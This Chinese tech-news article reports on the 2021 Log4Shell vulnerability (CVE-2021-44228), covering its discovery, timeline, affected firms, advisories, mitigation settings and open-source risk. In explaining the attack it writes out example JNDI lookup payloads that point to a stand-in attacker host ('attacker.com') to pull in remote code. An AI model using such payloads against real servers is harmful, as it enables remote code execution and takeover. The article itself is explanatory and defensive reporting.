中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉
2021年11月24日,阿里云安全团队依然像往常一样进行着漏洞的筛查工作。
让人没想到的是,团队成员之一的Chen Zhaojun一铲子下去,就挖出了一个「过去十年来影响最大、最严重的漏洞」——Log4Shell。
借着这个漏洞,攻击者只需要提交一个字符串就能访问对方的服务器,甚至还能在里面上传运行任何代码!
结果就是,12月10号,本来已经在准备过周末的大厂程序员们,都起来通宵加班处理漏洞了。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s6.51cto.com/oss/202112/13/15a33b350a4e0a8d38893f7032b521ed.jpg)
这个漏洞波及了多少大厂呢?
由于Log4j2这个库实在是太受欢迎了,所以包括苹果、Tesla、亚马逊、Cloudflare、ElasticSearch、Red Hat、Twitter、Steam、百度、网易、腾讯等大厂都会受到影响。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s5.51cto.com/oss/202112/13/46d4f2b328b1cc7a9b97121f1518763f.jpg)
可能,还有数百家甚至数千家其他组织也会受到影响。
一些信息安全研究人员预计,未来几天互联网上对服务器的攻击会大幅增加。
惊魂一刻
11月24日,开源项目Apache Log4j2的一个远程代码执行漏洞被提交。
12月7日上午,Apache发布了2.15.0-rc1版本更新。
12月9日晚,漏洞的利用细节被公开,影响范围几乎横跨整个版本(从2.0到2.14.1-rc1)。
当大家纷纷升级到2.15.0-rc1之后发现,该补丁依然可以被绕过。
12月10日凌晨2点半左右,Apache Log4j2紧急更新了2.15.0-rc2版本。
此时,各个大厂也几乎都在熬夜抢修。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s3.51cto.com/oss/202112/13/215f5019a1bea28162ae77d023e9d473.jpg)
据火绒不完全统计,仅在Github上,就有60644个开源项目发布的321094软件包存在风险,这一漏洞可以说是影响了互联网上70%以上企业系统的正常运转。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s2.51cto.com/oss/202112/13/334044d70e30f4d7be1fe7b9da8d3c2b.jpg)
Java开发框架中,受到Log4j2的影响Top10(来源:火绒安全)
这一漏洞名为CVE-2021-44228,也叫Log4Shell或LogJam,是一个远程代码执行(RCE)类漏洞,存在于一个「数百万」应用程序都在使用的开源Java日志库Log4j2中。
由于Java应用程序通常会记录各种各样的事件,例如用户发送和接收的消息,或者系统错误的详细信息,因此该漏洞可以通过多种方式触发。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s6.51cto.com/oss/202112/13/a219c2ef29d97e5e26a5576a3035daf8.jpg)
而这一漏洞最危险的地方是它太容易被攻击者利用了,即使是毫无经验的普通人也可以利用这个漏洞成功执行攻击。
攻击者只需发送一则特殊的消息到服务器(包含类似${jndi:ldap://server.com/a}的字符串),就可以执行任意的代码,并有可能完全控制该系统。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s6.51cto.com/oss/202112/13/d5c65d7574e2228b6648d26267951fea.jpg)
据阿里的@程序员子悠介绍,服务器会通过Log4j2记录攻击者发送的请求汇中包含的基于JNDI和LDAP的恶意负载${
jndi:ldap://http://attacker.com/},其中,http://attacker.com是攻击者控制的地址。
当服务器通过JNDI向http://server.com请求,触发恶意负载之后,http://attacker.com就可以在响应中添加任何可执行脚本,注入到服务器进程中。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s6.51cto.com/oss/202112/13/1cd1d3119635de5a8f550d5a3237b525.jpg)
于是,上个周末,大大小小公司的安全团队都在争先恐后地修补Log4Shell漏洞,晚一秒,就有可能让黑客危及互联网上数百万台设备。
而黑客们也没闲着,安全服务商imperva当天就监控到了140多万次针对CVE-2021-44228的攻击。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s3.51cto.com/oss/202112/13/6cf770670152f5cdb5b56b6207ccd5d6.jpg)
新西兰计算机应急响应小组(CERT)、德国电信(Deutsche Telekom)和Greynoise的网络监控服务都发出了警告:「攻击者已经在积极利用这个漏洞」。
根据Greynoise的说法,大约100个不同的主机正在大规模地寻找利用Log4j2漏洞的方法。
很快,多家信息安全新闻机构都报道了这个在Apache Log4j2库中发现的,CVSS严重程度为10级的关键漏洞CVE-2021-44228。
阿里云安全团队在12月10日发布公告。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s6.51cto.com/oss/202112/13/7c309dac8f1386edc00aacca500cfd19.jpg)
https://help.aliyun.com/noticelist/articleid/1060971232.html
国家互联网应急中心12月10日发布公告。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s4.51cto.com/oss/202112/13/65452390b03f2bfdc22947256d41ede3.jpg)
https://www.cert.org.cn/publish/main/9/2021/20211210110550958546708/20211210110550958546708_.html
美国国家计算机通用漏洞数据库12月10日发布公告。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s5.51cto.com/oss/202112/13/20d7021c89d82248a410fcc2c1638221.jpg)
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Apache基金会也迅速回应,建议所有开发人员能升级就升级,将手头上使用到的Log4j2库更新到2.15.0版本,如果因为一些原因升不了级,就使用Apache Log4j2安全漏洞页面中描述的方法进行扑救。
12月12号,有网友反映银行的程序都不能用了,推测可能正在加班加点排查,看来波及范围确实挺大的。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s5.51cto.com/oss/202112/13/41b06156d94661f6acb6274a897508de.jpg)
这下程序员们要哭了,纷纷吐槽:
「连夜抢修」
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s5.51cto.com/oss/202112/13/d7cb865741cf1d92f57de88317fe717c.jpg)
「忙活大半天」
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s2.51cto.com/oss/202112/13/ad77cf73f0d622e1d380aae8df2e1e0c.jpg)
复现漏洞
国民级搜索引擎百度首先遭到了广大网友的暴力测试!
漏洞刚曝光时,如果在百度搜索框中输入命令,然后在dnslog中就可以发现访问信息,随后开发人员也是紧急修复了这个漏洞。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s4.51cto.com/oss/202112/13/627cf09de6b11c73158f4b6eafe2bc93.jpg)
接着,网友又攻破了一向以安全性著称的苹果。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s3.51cto.com/oss/202112/13/6a03e9113a4fbeddbffb81c5e040c28d.jpg)
Minecraft也同样惨遭毒手。
由于Minecraft在软件中也采用了Log4j2,而且使用范围很广,这就导致了除Mohist 1.18外,Minecraft全版本所有系列的服务端全部处于高风险状态。
这样一来,在聊天栏输入命令就可以在游戏中作弊。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s2.51cto.com/oss/202112/13/6def482bbe3401a9ec9622cfde5b8f04.jpg)
对于Minecraft服主来说,当前最该做的就是立即关闭服务器,并进行升级和紧急修复,普通玩家则需要等待,直到服务器确认修复完成。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s5.51cto.com/oss/202112/13/38892a4846e396bd8e7abae34d5e70b3.jpg)
解决方案
根据360的建议,用户可以进行如下操作。
常规方案
使用了Apache Log4j2的用户,请将程序更新至官方最新安全版本(2.15.0-rc2)。下载地址:
https://github.com/apache/logging-Log4j22/releases/tag/Log4j2-2.15.0-rc2
临时应急方案
修改Log4j2配置:
Log4j22.formatMsgNoLookups=True
设置JVM启动参数:
-DLog4j22.formatMsgNoLookups=true
设置环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS值为true
可以提高安全性的周边设置
以下设置或操作可能会对防护此次安全事件起到作用,但无法确保安全。建议结合实际应用场景进行配置:
- 使用尽可能更高版本的JDK
- 使用rasp阻断lookup的调用
- 使用waf对流量中的${jndi进行拦截
- 禁止所有不必要的外连数据
开源项目的风险
Log4j2的安全事故一出,不禁让广大用户重新开始怀疑:开源软件是否真的安全?
一方面大家觉得开源软件嘛,代码都拿到手了,在遵照开源协议的情况下,基本就是白嫖。
另一方面,觉得有这么多人都在盯着这份代码,肯定不会出bug,不然一定会有人提issue修复的。在不花钱的情况下,又指望它有企业级的维护支持与安全性保障。
![中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉](https://s3.51cto.com/oss/202112/13/1056a62cb214cd47b007a8c53b1d7043.jpg)
殊不知,大部分开源软件都是作者利用业余时间开发的,为开源社区贡献代码的驱动力全部来自于star和「用爱发电」。
也正是因为免费,一些开源软件的受众规模特别大,从小公司到千亿市值的企业都在使用,如果一旦出了漏洞,那后果将不堪设想。
所以,开源有风险,使用需谨慎!
相关文章
- 一篇运维老司机的大数据平台监控宝典(2)-联通大数据集群平台监控体系详解
- 一篇运维老司机的大数据平台监控宝典(1)-联通大数据集群平台监控体系进程详解
- 空中换引擎 博时基金数字化转型经验谈
- 如何高效地学习编程语言
- 作为一名阿里巴巴数据分析大牛,送给学弟学妹的经验积分
- 为什么要学习R语言
- Hadoop大数据分析平台的介绍性讨论
- 最全面的Spring学习笔记
- 16个用于数据科学和机器学习的顶级平台
- 给有抱负的数据科学家的六条建议
- 如何做一枚合格的数据产品经理
- 除Kaggle外,还有哪些顶级数据科学竞赛平台
- 一个鲜为人知却可以保护隐私的训练方法:联合学习
- 干货 :送你12个关于数据科学学习的关键提示(附链接)
- 大数据行业有多少种工作岗位,各自的技能需求是什么?
- 中国移动研究院常耀斌:商用大数据平台的研发之路
- 这些数据科学家必备的技能,你拥有哪些?
- 自学成才的开发者有何优势和劣势?
- Gartner报告:正处于数据科学与机器学习工具 “大爆炸”的时代
- Ready Computing借助InterSystems IRIS医疗版为医疗机构提供具有高度互操作性和可扩展性的解决方案